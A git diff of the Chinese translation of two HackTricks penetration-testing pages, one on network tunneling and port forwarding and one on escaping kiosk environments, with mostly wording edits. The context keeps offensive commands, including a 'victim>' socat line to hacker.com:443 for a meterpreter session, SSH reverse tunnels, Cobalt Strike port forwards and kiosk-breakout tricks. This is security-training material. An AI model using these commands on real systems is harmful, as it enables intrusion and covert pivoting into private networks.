||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## Nmap 提示
|
||||
## Nmap tip
|
||||
|
||||
{% hint style="warning" %}
|
||||
**ICMP** 和 **SYN** 扫描无法通过 socks 代理进行隧道传输,因此我们必须 **禁用 ping 探测** (`-Pn`) 并指定 **TCP 扫描** (`-sT`) 以使其工作。
|
||||
|
@ -31,7 +23,7 @@
|
|||
|
||||
## **Bash**
|
||||
|
||||
**主机 -> 跳转 -> 内部A -> 内部B**
|
||||
**Host -> Jump -> InternalA -> InternalB**
|
||||
```bash
|
||||
# On the jump server connect the port 3333 to the 5985
|
||||
mknod backpipe p;
|
||||
|
@ -90,7 +82,7 @@ ssh -i dmz_key -R <dmz_internal_ip>:443:0.0.0.0:7000 root@10.129.203.111 -vN
|
|||
```
|
||||
### VPN-Tunnel
|
||||
|
||||
您需要**在两个设备上具有root权限**(因为您将要创建新的接口),并且sshd配置必须允许root登录:\
|
||||
您需要**在两个设备上具有root权限**(因为您将创建新的接口),并且sshd配置必须允许root登录:\
|
||||
`PermitRootLogin yes`\
|
||||
`PermitTunnel yes`
|
||||
```bash
|
||||
|
@ -176,13 +168,13 @@ rportfwd stop [bind port]
|
|||
To note:
|
||||
|
||||
- Beacon的反向端口转发旨在**将流量隧道到团队服务器,而不是在单个机器之间中继**。
|
||||
- 流量是**在Beacon的C2流量中隧道化**,包括P2P链接。
|
||||
- 流量在**Beacon的C2流量中隧道**,包括P2P链接。
|
||||
- **不需要管理员权限**来在高端口上创建反向端口转发。
|
||||
|
||||
### rPort2Port local
|
||||
|
||||
{% hint style="warning" %}
|
||||
在这种情况下,**端口在beacon主机上打开**,而不是在团队服务器上,**流量发送到Cobalt Strike客户端**(而不是团队服务器),然后从那里发送到指定的主机:端口
|
||||
在这种情况下,**端口在beacon主机中打开**,而不是在团队服务器中,**流量发送到Cobalt Strike客户端**(而不是团队服务器),然后从那里发送到指定的主机:端口
|
||||
{% endhint %}
|
||||
```
|
||||
rportfwd_local [bind port] [forward host] [forward port]
|
||||
|
@ -268,7 +260,7 @@ attacker> socat OPENSSL-LISTEN:443,cert=server.pem,cafile=client.crt,reuseaddr,f
|
|||
victim> socat.exe TCP-LISTEN:2222 OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|TCP:hacker.com:443,connect-timeout=5
|
||||
#Execute the meterpreter
|
||||
```
|
||||
您可以通过在受害者的控制台中执行这一行来绕过**非认证代理**:
|
||||
您可以通过在受害者的控制台中执行这一行来绕过**非认证代理**,而不是最后一行:
|
||||
```bash
|
||||
OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|PROXY:hacker.com:443,connect-timeout=5|TCP:proxy.lan:8080,connect-timeout=5
|
||||
```
|
||||
|
@ -325,18 +317,18 @@ netsh interface portproxy delete v4tov4 listenaddress=0.0.0.0 listenport=4444
|
|||
```
|
||||
## SocksOverRDP & Proxifier
|
||||
|
||||
您需要拥有**系统的RDP访问权限**。\
|
||||
您需要拥有**系统的 RDP 访问权限**。\
|
||||
下载:
|
||||
|
||||
1. [SocksOverRDP x64 Binaries](https://github.com/nccgroup/SocksOverRDP/releases) - 此工具使用Windows的远程桌面服务功能中的`动态虚拟通道`(`DVC`)。DVC负责**在RDP连接上隧道数据包**。
|
||||
1. [SocksOverRDP x64 Binaries](https://github.com/nccgroup/SocksOverRDP/releases) - 此工具使用 Windows 的远程桌面服务功能中的 `Dynamic Virtual Channels` (`DVC`)。DVC 负责**在 RDP 连接上隧道数据包**。
|
||||
2. [Proxifier Portable Binary](https://www.proxifier.com/download/#win-tab)
|
||||
|
||||
在您的客户端计算机上加载**`SocksOverRDP-Plugin.dll`**,如下所示:
|
||||
在您的客户端计算机上加载**`SocksOverRDP-Plugin.dll`**,方法如下:
|
||||
```bash
|
||||
# Load SocksOverRDP.dll using regsvr32.exe
|
||||
C:\SocksOverRDP-x64> regsvr32.exe SocksOverRDP-Plugin.dll
|
||||
```
|
||||
现在我们可以通过 **RDP** 使用 **`mstsc.exe`** 连接到 **victim**,我们应该收到一个 **prompt**,提示 **SocksOverRDP 插件已启用**,并且它将 **listen** 在 **127.0.0.1:1080**。
|
||||
现在我们可以通过 **RDP** 使用 **`mstsc.exe`** 连接到 **受害者**,我们应该收到一个 **提示**,说明 **SocksOverRDP 插件已启用**,并且它将 **监听** 在 **127.0.0.1:1080**。
|
||||
|
||||
通过 **RDP** 连接并在受害者机器上上传并执行 `SocksOverRDP-Server.exe` 二进制文件:
|
||||
```
|
||||
|
@ -348,7 +340,7 @@ netstat -antb | findstr 1080
|
|||
```
|
||||
现在您可以使用 [**Proxifier**](https://www.proxifier.com/) **通过该端口代理流量。**
|
||||
|
||||
## 代理 Windows GUI 应用程序
|
||||
## 通过 Proxifier 代理 Windows GUI 应用程序
|
||||
|
||||
您可以使用 [**Proxifier**](https://www.proxifier.com/) 使 Windows GUI 应用程序通过代理进行导航。\
|
||||
在 **Profile -> Proxy Servers** 中添加 SOCKS 服务器的 IP 和端口。\
|
||||
|
@ -375,7 +367,7 @@ Proxy 10.0.0.10:8080
|
|||
Tunnel 2222:<attackers_machine>:443
|
||||
```
|
||||
现在,如果你在受害者的**SSH**服务上设置监听端口为443。你可以通过攻击者的2222端口连接到它。\
|
||||
你也可以使用一个连接到localhost:443的**meterpreter**,而攻击者在2222端口监听。
|
||||
你也可以使用一个连接到localhost:443的**meterpreter**,攻击者在2222端口监听。
|
||||
|
||||
## YARP
|
||||
|
||||
|
@ -445,7 +437,7 @@ ping 1.1.1.100 #After a successful connection, the victim will be in the 1.1.1.1
|
|||
```
|
||||
### ptunnel-ng
|
||||
|
||||
[**从这里下载**](https://github.com/utoni/ptunnel-ng.git)。
|
||||
[**从这里下载**](https://github.com/utoni/ptunnel-ng.git).
|
||||
```bash
|
||||
# Generate it
|
||||
sudo ./autogen.sh
|
||||
|
@ -495,7 +487,7 @@ chmod a+x ./ngrok
|
|||
```
|
||||
#### 嗅探 HTTP 调用
|
||||
|
||||
*对 XSS, SSRF, SSTI 等有用*
|
||||
*对 XSS、SSRF、SSTI 等有用*
|
||||
直接从 stdout 或在 HTTP 接口 [http://127.0.0.1:4040](http://127.0.0.1:4000)。
|
||||
|
||||
#### 隧道内部 HTTP 服务
|
||||
|
@ -527,14 +519,6 @@ addr: file:///tmp/httpbin/
|
|||
* [https://github.com/securesocketfunneling/ssf](https://github.com/securesocketfunneling/ssf)
|
||||
* [https://github.com/z3APA3A/3proxy](https://github.com/z3APA3A/3proxy)
|
||||
|
||||
**努力安全小组**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
{% hint style="success" %}
|
||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
|
|
@ -1,31 +1,21 @@
|
|||
# 从KIOSKs中逃脱
|
||||
# 从自助终端逃脱
|
||||
|
||||
{% hint style="success" %}
|
||||
学习并实践AWS黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks培训AWS红队专家(ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习并实践GCP黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks培训GCP红队专家(GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>支持HackTricks</summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 检查[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享黑客技巧。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**上关注我们。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
#### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io)是一个由**暗网**推动的搜索引擎,提供免费功能,用于检查公司或其客户是否受到**窃取恶意软件**的**侵害**。
|
||||
|
||||
WhiteIntel的主要目标是打击由信息窃取恶意软件导致的账户劫持和勒索软件攻击。
|
||||
|
||||
您可以在以下网址检查他们的网站并尝试他们的引擎,**免费**使用:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
---
|
||||
|
||||
|
@ -33,18 +23,18 @@ WhiteIntel的主要目标是打击由信息窃取恶意软件导致的账户劫
|
|||
|
||||
| 组件 | 操作 |
|
||||
| ------------- | -------------------------------------------------------------------- |
|
||||
| 电源按钮 | 关闭并重新打开设备可能会显示启动屏幕 |
|
||||
| 电源电缆 | 检查当电源短暂中断时设备是否重新启动 |
|
||||
| USB端口 | 连接物理键盘以使用更多快捷键 |
|
||||
| 以太网 | 网络扫描或嗅探可能会进一步利用 |
|
||||
| 电源按钮 | 关闭设备并重新打开可能会显示启动屏幕 |
|
||||
| 电源线 | 检查设备在短暂断电时是否重新启动 |
|
||||
| USB 端口 | 连接物理键盘以使用更多快捷键 |
|
||||
| 以太网 | 网络扫描或嗅探可能会启用进一步的利用 |
|
||||
|
||||
|
||||
## 检查GUI应用程序内的可能操作
|
||||
## 检查 GUI 应用程序内可能的操作
|
||||
|
||||
**常见对话框**是那些**保存文件**、**打开文件**、选择字体、颜色等选项。大多数情况下,这些对话框将**提供完整的资源管理器功能**。这意味着如果您可以访问这些选项,您将能够访问资源管理器功能:
|
||||
**常见对话框** 是 **保存文件**、**打开文件**、选择字体、颜色等选项。大多数情况下,它们将 **提供完整的资源管理器功能**。这意味着如果您可以访问这些选项,您将能够访问资源管理器功能:
|
||||
|
||||
* 关闭/另存为
|
||||
* 打开/打开方式
|
||||
* 打开/用其他程序打开
|
||||
* 打印
|
||||
* 导出/导入
|
||||
* 搜索
|
||||
|
@ -59,28 +49,28 @@ WhiteIntel的主要目标是打击由信息窃取恶意软件导致的账户劫
|
|||
|
||||
### 命令执行
|
||||
|
||||
也许**使用`打开方式`**选项\*\*您可以打开/执行某种类型的shell。
|
||||
也许 **使用 `用其他程序打开`** 选项,您可以打开/执行某种 shell。
|
||||
|
||||
#### Windows
|
||||
|
||||
例如_cmd.exe, command.com, Powershell/Powershell ISE, mmc.exe, at.exe, taskschd.msc..._ 在这里找到更多可用于执行命令(并执行意外操作)的二进制文件:[https://lolbas-project.github.io/](https://lolbas-project.github.io)
|
||||
例如 _cmd.exe, command.com, Powershell/Powershell ISE, mmc.exe, at.exe, taskschd.msc..._ 在这里找到更多可以用来执行命令(并执行意外操作)的二进制文件:[https://lolbas-project.github.io/](https://lolbas-project.github.io)
|
||||
|
||||
#### \*NIX \_\_
|
||||
|
||||
_bash, sh, zsh..._ 更多信息请查看:[https://gtfobins.github.io/](https://gtfobins.github.io)
|
||||
_bash, sh, zsh..._ 更多信息请见:[https://gtfobins.github.io/](https://gtfobins.github.io)
|
||||
|
||||
## Windows
|
||||
|
||||
### 绕过路径限制
|
||||
|
||||
* **环境变量**:有许多环境变量指向某些路径
|
||||
* **其他协议**:_about:, data:, ftp:, file:, mailto:, news:, res:, telnet:, view-source:_
|
||||
* **环境变量**:有很多环境变量指向某个路径
|
||||
* **其他协议**: _about:, data:, ftp:, file:, mailto:, news:, res:, telnet:, view-source:_
|
||||
* **符号链接**
|
||||
* **快捷方式**:CTRL+N(打开新会话),CTRL+R(执行命令),CTRL+SHIFT+ESC(任务管理器),Windows+E(打开资源管理器),CTRL-B,CTRL-I(收藏夹),CTRL-H(历史记录),CTRL-L,CTRL-O(文件/打开对话框),CTRL-P(打印对话框),CTRL-S(另存为)
|
||||
* 隐藏的管理菜单:CTRL-ALT-F8,CTRL-ESC-F9
|
||||
* **Shell URI**:_shell:Administrative Tools, shell:DocumentsLibrary, shell:Librariesshell:UserProfiles, shell:Personal, shell:SearchHomeFolder, shell:Systemshell:NetworkPlacesFolder, shell:SendTo, shell:UsersProfiles, shell:Common Administrative Tools, shell:MyComputerFolder, shell:InternetFolder_
|
||||
* **UNC路径**:连接到共享文件夹的路径。您应该尝试连接到本地计算机的C$("\\\127.0.0.1\c$\Windows\System32")
|
||||
* **更多UNC路径:**
|
||||
* **快捷方式**: CTRL+N (打开新会话), CTRL+R (执行命令), CTRL+SHIFT+ESC (任务管理器), Windows+E (打开资源管理器), CTRL-B, CTRL-I (收藏夹), CTRL-H (历史记录), CTRL-L, CTRL-O (文件/打开对话框), CTRL-P (打印对话框), CTRL-S (另存为)
|
||||
* 隐藏的管理菜单: CTRL-ALT-F8, CTRL-ESC-F9
|
||||
* **Shell URI**: _shell:Administrative Tools, shell:DocumentsLibrary, shell:Librariesshell:UserProfiles, shell:Personal, shell:SearchHomeFolder, shell:Systemshell:NetworkPlacesFolder, shell:SendTo, shell:UsersProfiles, shell:Common Administrative Tools, shell:MyComputerFolder, shell:InternetFolder_
|
||||
* **UNC 路径**:连接到共享文件夹的路径。您应该尝试连接到本地计算机的 C$ ("\\\127.0.0.1\c$\Windows\System32")
|
||||
* **更多 UNC 路径:**
|
||||
|
||||
| UNC | UNC | UNC |
|
||||
| ------------------------- | -------------- | -------------------- |
|
||||
|
@ -111,47 +101,48 @@ _bash, sh, zsh..._ 更多信息请查看:[https://gtfobins.github.io/](https:/
|
|||
| C:\windows\\ | C:\windows/ | %WINDIR% | %TMP% |
|
||||
| %TEMP% | %SYSTEMDRIVE% | %SYSTEMROOT% | %APPDATA% |
|
||||
| %HOMEDRIVE% | %HOMESHARE | | <p><br></p> |
|
||||
|
||||
### 快捷键
|
||||
|
||||
* 粘滞键 - 按SHIFT键5次
|
||||
* 鼠标键 - SHIFT+ALT+NUMLOCK
|
||||
* 高对比度 - SHIFT+ALT+PRINTSCN
|
||||
* 切换键 - 按住NUMLOCK键5秒
|
||||
* 过滤键 - 按住右SHIFT键12秒
|
||||
* WINDOWS+F1 - Windows搜索
|
||||
* WINDOWS+D - 显示桌面
|
||||
* WINDOWS+E - 启动Windows资源管理器
|
||||
* WINDOWS+R - 运行
|
||||
* WINDOWS+U - 辅助功能中心
|
||||
* WINDOWS+F - 搜索
|
||||
* SHIFT+F10 - 上下文菜单
|
||||
* CTRL+SHIFT+ESC - 任务管理器
|
||||
* CTRL+ALT+DEL - 在较新的Windows版本上显示启动画面
|
||||
* F1 - 帮助 F3 - 搜索
|
||||
* F6 - 地址栏
|
||||
* F11 - 在Internet Explorer中切换全屏
|
||||
* CTRL+H - Internet Explorer历史记录
|
||||
* CTRL+T - Internet Explorer - 新标签页
|
||||
* CTRL+N - Internet Explorer - 新页面
|
||||
* CTRL+O - 打开文件
|
||||
* CTRL+S - 保存 CTRL+N - 新RDP / Citrix
|
||||
* Sticky Keys – 按 SHIFT 5 次
|
||||
* Mouse Keys – SHIFT+ALT+NUMLOCK
|
||||
* High Contrast – SHIFT+ALT+PRINTSCN
|
||||
* Toggle Keys – 按住 NUMLOCK 5 秒
|
||||
* Filter Keys – 按住右 SHIFT 12 秒
|
||||
* WINDOWS+F1 – Windows 搜索
|
||||
* WINDOWS+D – 显示桌面
|
||||
* WINDOWS+E – 启动 Windows 资源管理器
|
||||
* WINDOWS+R – 运行
|
||||
* WINDOWS+U – 辅助功能中心
|
||||
* WINDOWS+F – 搜索
|
||||
* SHIFT+F10 – 上下文菜单
|
||||
* CTRL+SHIFT+ESC – 任务管理器
|
||||
* CTRL+ALT+DEL – 在较新版本的 Windows 上显示启动画面
|
||||
* F1 – 帮助 F3 – 搜索
|
||||
* F6 – 地址栏
|
||||
* F11 – 在 Internet Explorer 中切换全屏
|
||||
* CTRL+H – Internet Explorer 历史记录
|
||||
* CTRL+T – Internet Explorer – 新标签
|
||||
* CTRL+N – Internet Explorer – 新页面
|
||||
* CTRL+O – 打开文件
|
||||
* CTRL+S – 保存 CTRL+N – 新 RDP / Citrix
|
||||
|
||||
### 滑动手势
|
||||
|
||||
* 从左侧向右滑动以查看所有打开的窗口,最小化KIOSK应用程序并直接访问整个操作系统;
|
||||
* 从右侧向左滑动以打开操作中心,最小化KIOSK应用程序并直接访问整个操作系统;
|
||||
* 从顶部边缘向内滑动,使全屏模式下打开的应用程序的标题栏可见;
|
||||
* 从底部向上滑动,显示全屏应用程序中的任务栏。
|
||||
* 从左侧向右滑动以查看所有打开的窗口,最小化 KIOSK 应用并直接访问整个操作系统;
|
||||
* 从右侧向左滑动以打开操作中心,最小化 KIOSK 应用并直接访问整个操作系统;
|
||||
* 从顶部边缘向下滑动以使全屏模式下的应用程序标题栏可见;
|
||||
* 从底部向上滑动以在全屏应用中显示任务栏。
|
||||
|
||||
### Internet Explorer技巧
|
||||
### Internet Explorer 技巧
|
||||
|
||||
#### '图像工具栏'
|
||||
|
||||
这是一个工具栏,当单击图像时会出现在图像的左上角。您将能够保存、打印、发送邮件、在资源管理器中打开“我的图片”。Kiosk需要使用Internet Explorer。
|
||||
这是一个在单击图像时出现在左上角的工具栏。您将能够保存、打印、发送邮件、在资源管理器中打开“我的图片”。自助终端需要使用 Internet Explorer。
|
||||
|
||||
#### Shell协议
|
||||
#### Shell 协议
|
||||
|
||||
键入以下URL以获取资源管理器视图:
|
||||
输入以下 URL 以获取资源管理器视图:
|
||||
|
||||
* `shell:Administrative Tools`
|
||||
* `shell:DocumentsLibrary`
|
||||
|
@ -177,44 +168,44 @@ _bash, sh, zsh..._ 更多信息请查看:[https://gtfobins.github.io/](https:/
|
|||
|
||||
### 显示文件扩展名
|
||||
|
||||
查看此页面以获取更多信息:[https://www.howtohaven.com/system/show-file-extensions-in-windows-explorer.shtml](https://www.howtohaven.com/system/show-file-extensions-in-windows-explorer.shtml)
|
||||
请查看此页面以获取更多信息:[https://www.howtohaven.com/system/show-file-extensions-in-windows-explorer.shtml](https://www.howtohaven.com/system/show-file-extensions-in-windows-explorer.shtml)
|
||||
|
||||
## 浏览器技巧
|
||||
|
||||
备份iKat版本:
|
||||
备份 iKat 版本:
|
||||
|
||||
[http://swin.es/k/](http://swin.es/k/)\
|
||||
[http://www.ikat.kronicd.net/](http://www.ikat.kronicd.net)\\
|
||||
|
||||
使用JavaScript创建通用对话框并访问文件资源管理器:`document.write('<input/type=file>')`\
|
||||
使用 JavaScript 创建一个通用对话框并访问文件资源管理器:`document.write('<input/type=file>')`\
|
||||
来源:https://medium.com/@Rend\_/give-me-a-browser-ill-give-you-a-shell-de19811defa0
|
||||
|
||||
## iPad
|
||||
|
||||
### 手势和按钮
|
||||
|
||||
* 使用四根(或五根)手指向上滑动/双击主页按钮:查看多任务视图并更改应用程序
|
||||
* 使用四根或五根手指向左或向右滑动:以切换到下一个/上一个应用程序
|
||||
* 用五根手指捏屏幕/触摸主页按钮/从屏幕底部向上快速滑动一个手指:访问主屏幕
|
||||
* 用一个手指从屏幕底部向上缓慢滑动1-2英寸:会出现底栏
|
||||
* 用一个手指从屏幕顶部向下滑动:查看通知
|
||||
* 用一个手指从屏幕右上角向下滑动:查看iPad Pro的控制中心
|
||||
* 用一个手指从屏幕左侧向右滑动1-2英寸:查看今天视图
|
||||
* 用一个手指快速从屏幕中心向左或向右滑动:切换到下一个/上一个应用程序
|
||||
* 按住iPad右上角的开/关/睡眠按钮+将“滑动以关机”滑块全部向右移动:关机
|
||||
* 按住iPad右上角的开/关/睡眠按钮和主页按钮几秒钟:强制硬关机
|
||||
* 快速按下iPad右上角的开/关/睡眠按钮和主页按钮:拍摄屏幕截图,截图将在显示屏左下角弹出。同时短按两个按钮,如果您按住几秒钟,将执行强制硬关机。
|
||||
* 用四个(或五个)手指向上滑动 / 双击主屏幕按钮:查看多任务视图并切换应用
|
||||
* 用四个或五个手指向一侧滑动:以切换到下一个/上一个应用
|
||||
* 用五个手指捏合屏幕 / 按下主屏幕按钮 / 用一根手指快速从屏幕底部向上滑动:访问主屏幕
|
||||
* 用一根手指从屏幕底部滑动 1-2 英寸(慢):停靠栏将出现
|
||||
* 用一根手指从显示器顶部向下滑动:查看通知
|
||||
* 用一根手指从屏幕右上角向下滑动:查看 iPad Pro 的控制中心
|
||||
* 用一根手指从屏幕左侧滑动 1-2 英寸:查看今日视图
|
||||
* 用一根手指从屏幕中心快速向右或向左滑动:切换到下一个/上一个应用
|
||||
* 按住右上角的开/关/睡眠按钮 + 将滑块向右移动到 **关机**:关机
|
||||
* 按住右上角的开/关/睡眠按钮和主屏幕按钮几秒钟:强制关机
|
||||
* 快速按住右上角的开/关/睡眠按钮和主屏幕按钮:截屏,截屏将弹出在显示器左下角。按住两个按钮非常短暂,如果按住几秒钟将执行强制关机。
|
||||
|
||||
### 快捷键
|
||||
|
||||
您应该有一个iPad键盘或USB键盘适配器。这里只显示可帮助退出应用程序的快捷键。
|
||||
您应该有一个 iPad 键盘或 USB 键盘适配器。这里只显示可能帮助您逃离应用程序的快捷键。
|
||||
|
||||
| 键 | 名称 |
|
||||
| --- | ------------ |
|
||||
| ⌘ | 命令 |
|
||||
| ⌥ | 选项(Alt) |
|
||||
| ⌥ | 选项 (Alt) |
|
||||
| ⇧ | Shift |
|
||||
| ↩ | 返回 |
|
||||
| ↩ | 回车 |
|
||||
| ⇥ | Tab |
|
||||
| ^ | 控制 |
|
||||
| ← | 左箭头 |
|
||||
|
@ -224,50 +215,51 @@ _bash, sh, zsh..._ 更多信息请查看:[https://gtfobins.github.io/](https:/
|
|||
|
||||
#### 系统快捷键
|
||||
|
||||
这些快捷键用于视觉设置和声音设置,取决于iPad的使用。
|
||||
这些快捷键用于视觉设置和音量设置,具体取决于 iPad 的使用。
|
||||
|
||||
| 快捷键 | 动作 |
|
||||
| 快捷键 | 操作 |
|
||||
| -------- | ------------------------------------------------------------------------------ |
|
||||
| F1 | 降低屏幕亮度 |
|
||||
| F2 | 增加屏幕亮度 |
|
||||
| F7 | 后退一首歌 |
|
||||
| F1 | 调暗屏幕 |
|
||||
| F2 | 提亮屏幕 |
|
||||
| F7 | 回到上一首歌 |
|
||||
| F8 | 播放/暂停 |
|
||||
| F9 | 跳过歌曲 |
|
||||
| F10 | 静音 |
|
||||
| F11 | 降低音量 |
|
||||
| F12 | 增加音量 |
|
||||
| ⌘ Space | 显示可用语言列表;要选择一种语言,请再次点击空格键。 |
|
||||
| ⌘ 空格 | 显示可用语言列表;要选择一种,请再次按空格键。 |
|
||||
|
||||
#### iPad导航
|
||||
#### iPad 导航
|
||||
|
||||
| 快捷键 | 动作 |
|
||||
| 快捷键 | 操作 |
|
||||
| -------------------------------------------------- | ------------------------------------------------------- |
|
||||
| ⌘H | 转到主屏幕 |
|
||||
| ⌘⇧H (Command-Shift-H) | 转到主屏幕 |
|
||||
| ⌘ (Space) | 打开Spotlight |
|
||||
| ⌘⇥ (Command-Tab) | 列出最近使用的十个应用程序 |
|
||||
| ⌘\~ | 转到上一个应用程序 |
|
||||
| ⌘⇧3 (Command-Shift-3) | 截图(悬停在左下角以保存或对其进行操作) |
|
||||
| ⌘⇧4 | 截图并在编辑器中打开 |
|
||||
| 按住⌘ | 应用程序可用的快捷键列表 |
|
||||
| ⌘⌥D (Command-Option/Alt-D) | 弹出Dock |
|
||||
| ^⌥H (Control-Option-H) | 主页按钮 |
|
||||
| ⌘H | 返回主屏幕 |
|
||||
| ⌘⇧H (Command-Shift-H) | 返回主屏幕 |
|
||||
| ⌘ (空格) | 打开聚焦搜索 |
|
||||
| ⌘⇥ (Command-Tab) | 列出最近使用的十个应用 |
|
||||
| ⌘\~ | 返回上一个应用 |
|
||||
| ⌘⇧3 (Command-Shift-3) | 截屏(悬停在左下角以保存或操作) |
|
||||
| ⌘⇧4 | 截屏并在编辑器中打开 |
|
||||
| 按住 ⌘ | 列出该应用可用的快捷键 |
|
||||
| ⌘⌥D (Command-Option/Alt-D) | 打开停靠栏 |
|
||||
| ^⌥H (Control-Option-H) | 主屏幕按钮 |
|
||||
| ^⌥H H (Control-Option-H-H) | 显示多任务栏 |
|
||||
| ^⌥I (Control-Option-i) | 项目选择器 |
|
||||
| 逃逸键 | 返回按钮 |
|
||||
| Escape | 返回按钮 |
|
||||
| → (右箭头) | 下一个项目 |
|
||||
| ← (左箭头) | 上一个项目 |
|
||||
| ↑↓ (上箭头, 下箭头) | 同时点击所选项目 |
|
||||
| ⌥ ↓ (Option-下箭头) | 向下滚动 |
|
||||
| ⌥↑ (Option-上箭头) | 向上滚动 |
|
||||
| ⌥← 或 ⌥→ (Option-左箭头或Option-右箭头) | 向左或向右滚动 |
|
||||
| ^⌥S (Control-Option-S) | 打开或关闭VoiceOver语音 |
|
||||
| ⌘⇧⇥ (Command-Shift-Tab) | 切换到上一个应用程序 |
|
||||
| ⌘⇥ (Command-Tab) | 切换回原始应用程序 |
|
||||
| ←+→, 然后Option + ← 或 Option+→ | 通过Dock导航 |
|
||||
#### Safari快捷键
|
||||
| ↑↓ (上箭头, 下箭头) | 同时点击选定的项目 |
|
||||
| ⌥ ↓ (Option-Down arrow) | 向下滚动 |
|
||||
| ⌥↑ (Option-Up arrow) | 向上滚动 |
|
||||
| ⌥← 或 ⌥→ (Option-Left arrow 或 Option-Right arrow) | 向左或向右滚动 |
|
||||
| ^⌥S (Control-Option-S) | 开启或关闭 VoiceOver 语音 |
|
||||
| ⌘⇧⇥ (Command-Shift-Tab) | 切换到上一个应用 |
|
||||
| ⌘⇥ (Command-Tab) | 切换回原始应用 |
|
||||
| ←+→,然后 Option + ← 或 Option+→ | 在停靠栏中导航 |
|
||||
|
||||
| 快捷键 | 动作 |
|
||||
#### Safari 快捷键
|
||||
|
||||
| 快捷键 | 操作 |
|
||||
| ----------------------- | ------------------------------------------------ |
|
||||
| ⌘L (Command-L) | 打开位置 |
|
||||
| ⌘T | 打开新标签 |
|
||||
|
@ -276,15 +268,15 @@ _bash, sh, zsh..._ 更多信息请查看:[https://gtfobins.github.io/](https:/
|
|||
| ⌘. | 停止加载当前标签 |
|
||||
| ^⇥ | 切换到下一个标签 |
|
||||
| ^⇧⇥ (Control-Shift-Tab) | 移动到上一个标签 |
|
||||
| ⌘L | 选择文本输入/URL字段以修改 |
|
||||
| ⌘⇧T (Command-Shift-T) | 打开最后关闭的标签(可多次使用) |
|
||||
| ⌘\[ | 在浏览历史记录中返回一页 |
|
||||
| ⌘] | 在浏览历史记录中前进一页 |
|
||||
| ⌘⇧R | 激活阅读器模式 |
|
||||
| ⌘L | 选择文本输入/URL 字段以进行修改 |
|
||||
| ⌘⇧T (Command-Shift-T) | 打开最后关闭的标签(可以多次使用) |
|
||||
| ⌘\[ | 在浏览历史中返回一页 |
|
||||
| ⌘] | 在浏览历史中前进一页 |
|
||||
| ⌘⇧R | 激活阅读模式 |
|
||||
|
||||
#### 邮件快捷键
|
||||
|
||||
| 快捷键 | 动作 |
|
||||
| 快捷键 | 操作 |
|
||||
| -------------------------- | ---------------------------- |
|
||||
| ⌘L | 打开位置 |
|
||||
| ⌘T | 打开新标签 |
|
||||
|
@ -293,36 +285,26 @@ _bash, sh, zsh..._ 更多信息请查看:[https://gtfobins.github.io/](https:/
|
|||
| ⌘. | 停止加载当前标签 |
|
||||
| ⌘⌥F (Command-Option/Alt-F) | 在邮箱中搜索 |
|
||||
|
||||
## 参考资料
|
||||
## 参考文献
|
||||
|
||||
* [https://www.macworld.com/article/2975857/6-only-for-ipad-gestures-you-need-to-know.html](https://www.macworld.com/article/2975857/6-only-for-ipad-gestures-you-need-to-know.html)
|
||||
* [https://www.tomsguide.com/us/ipad-shortcuts,news-18205.html](https://www.tomsguide.com/us/ipad-shortcuts,news-18205.html)
|
||||
* [https://thesweetsetup.com/best-ipad-keyboard-shortcuts/](https://thesweetsetup.com/best-ipad-keyboard-shortcuts/)
|
||||
